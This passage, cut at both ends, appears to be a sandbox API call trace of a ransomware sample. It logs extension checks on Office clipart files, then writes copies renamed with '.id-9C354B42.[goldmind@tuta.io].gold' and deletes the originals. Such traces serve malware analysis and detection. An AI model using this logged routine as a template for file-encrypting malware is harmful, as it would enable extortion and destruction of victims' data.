returned 4 [0098.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString=".bz2") returned 4 [0098.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString=".7z") returned 3 [0098.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".dbf") returned 4 [0098.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".1cd") returned 4 [0098.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 63 [0098.523] lstrlenW (lpString=".jpg") returned 4 [0098.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.524] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.524] lstrlenW (lpString="HH01291_.WMF") returned 12 [0098.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.848] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=15806) returned 1 [0098.849] CloseHandle (hObject=0x3c4) returned 1 [0098.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0099.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.240] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.240] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0099.242] GetLastError () returned 0x0 [0099.242] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3dbe, lpOverlapped=0x0) returned 1 [0099.255] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0099.256] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.256] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.257] SetEndOfFile (hFile=0x3a4) returned 1 [0099.257] CloseHandle (hObject=0x3a4) returned 1 [0099.257] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.257] SetEndOfFile (hFile=0x3c4) returned 1 [0099.258] CloseHandle (hObject=0x3c4) returned 1 [0099.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0099.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.395] lstrlenW (lpString=".doc") returned 4 [0099.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.395] lstrlenW (lpString=".docx") returned 5 [0099.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.395] lstrlenW (lpString=".pdf") returned 4 [0099.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.395] lstrlenW (lpString=".xls") returned 4 [0099.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.395] lstrlenW (lpString=".xlsx") returned 5 [0099.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.395] lstrlenW (lpString=".ppt") returned 4 [0099.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.395] lstrlenW (lpString=".zip") returned 4 [0099.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.395] lstrlenW (lpString=".rar") returned 4 [0099.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".bz2") returned 4 [0099.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".7z") returned 3 [0099.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".dbf") returned 4 [0099.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".1cd") returned 4 [0099.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".jpg") returned 4 [0099.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".doc") returned 4 [0099.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".docx") returned 5 [0099.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.396] lstrlenW (lpString=".pdf") returned 4 [0099.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".xls") returned 4 [0099.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.396] lstrlenW (lpString=".xlsx") returned 5 [0099.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.396] lstrlenW (lpString=".ppt") returned 4 [0099.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".zip") returned 4 [0099.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.396] lstrlenW (lpString=".rar") returned 4 [0099.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".bz2") returned 4 [0099.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString=".7z") returned 3 [0099.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".dbf") returned 4 [0099.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".1cd") returned 4 [0099.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0099.396] lstrlenW (lpString=".jpg") returned 4 [0099.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.397] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.397] lstrlenW (lpString="HH01875_.WMF") returned 12 [0099.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.401] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2616) returned 1 [0099.401] CloseHandle (hObject=0x364) returned 1 [0099.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0099.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.407] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.408] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.408] GetLastError () returned 0x0 [0099.408] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa38, lpOverlapped=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa40, lpOverlapped=0x0) returned 1 [0099.410] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.410] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.410] SetEndOfFile (hFile=0x394) returned 1 [0099.410] CloseHandle (hObject=0x394) returned 1 [0099.410] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.410] SetEndOfFile (hFile=0x190) returned 1 [0099.413] CloseHandle (hObject=0x190) returned 1 [0099.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString=".doc") returned 4 [0099.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString=".docx") returned 5 [0099.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.414] lstrlenW (lpString=".pdf") returned 4 [0099.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString=".xls") returned 4 [0099.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.414] lstrlenW (lpString=".xlsx") returned 5 [0099.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.414] lstrlenW (lpString=".ppt") returned 4 [0099.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString=".zip") returned 4 [0099.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.414] lstrlenW (lpString=".rar") returned 4 [0099.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString=".bz2") returned 4 [0099.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString=".7z") returned 3 [0099.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString=".dbf") returned 4 [0099.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString=".1cd") returned 4 [0099.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.414] lstrlenW (lpString=".jpg") returned 4 [0099.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString=".doc") returned 4 [0099.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString=".docx") returned 5 [0099.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.415] lstrlenW (lpString=".pdf") returned 4 [0099.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString=".xls") returned 4 [0099.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.415] lstrlenW (lpString=".xlsx") returned 5 [0099.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.415] lstrlenW (lpString=".ppt") returned 4 [0099.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString=".zip") returned 4 [0099.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.415] lstrlenW (lpString=".rar") returned 4 [0099.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString=".bz2") returned 4 [0099.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString=".7z") returned 3 [0099.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString=".dbf") returned 4 [0099.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString=".1cd") returned 4 [0099.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0099.415] lstrlenW (lpString=".jpg") returned 4 [0099.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.415] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.415] lstrlenW (lpString="HH02166_.WMF") returned 12 [0099.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.416] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1324) returned 1 [0099.416] CloseHandle (hObject=0x190) returned 1 [0099.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0099.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.416] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.416] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.417] GetLastError () returned 0x0 [0099.417] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x52c, lpOverlapped=0x0) returned 1 [0099.418] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x530, lpOverlapped=0x0) returned 1 [0099.419] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.419] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.419] SetEndOfFile (hFile=0x394) returned 1 [0099.419] CloseHandle (hObject=0x394) returned 1 [0099.419] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.419] SetEndOfFile (hFile=0x190) returned 1 [0099.420] CloseHandle (hObject=0x190) returned 1 [0099.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0099.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.421] lstrlenW (lpString=".doc") returned 4 [0099.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.421] lstrlenW (lpString=".docx") returned 5 [0099.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.421] lstrlenW (lpString=".pdf") returned 4 [0099.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".xls") returned 4 [0099.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.422] lstrlenW (lpString=".xlsx") returned 5 [0099.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.422] lstrlenW (lpString=".ppt") returned 4 [0099.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".zip") returned 4 [0099.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.422] lstrlenW (lpString=".rar") returned 4 [0099.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".bz2") returned 4 [0099.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".7z") returned 3 [0099.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".dbf") returned 4 [0099.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".1cd") returned 4 [0099.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".jpg") returned 4 [0099.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".doc") returned 4 [0099.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".docx") returned 5 [0099.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.422] lstrlenW (lpString=".pdf") returned 4 [0099.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".xls") returned 4 [0099.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.422] lstrlenW (lpString=".xlsx") returned 5 [0099.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.422] lstrlenW (lpString=".ppt") returned 4 [0099.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.422] lstrlenW (lpString=".zip") returned 4 [0099.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.422] lstrlenW (lpString=".rar") returned 4 [0099.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.422] lstrlenW (lpString=".bz2") returned 4 [0099.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.423] lstrlenW (lpString=".7z") returned 3 [0099.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.423] lstrlenW (lpString=".dbf") returned 4 [0099.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.423] lstrlenW 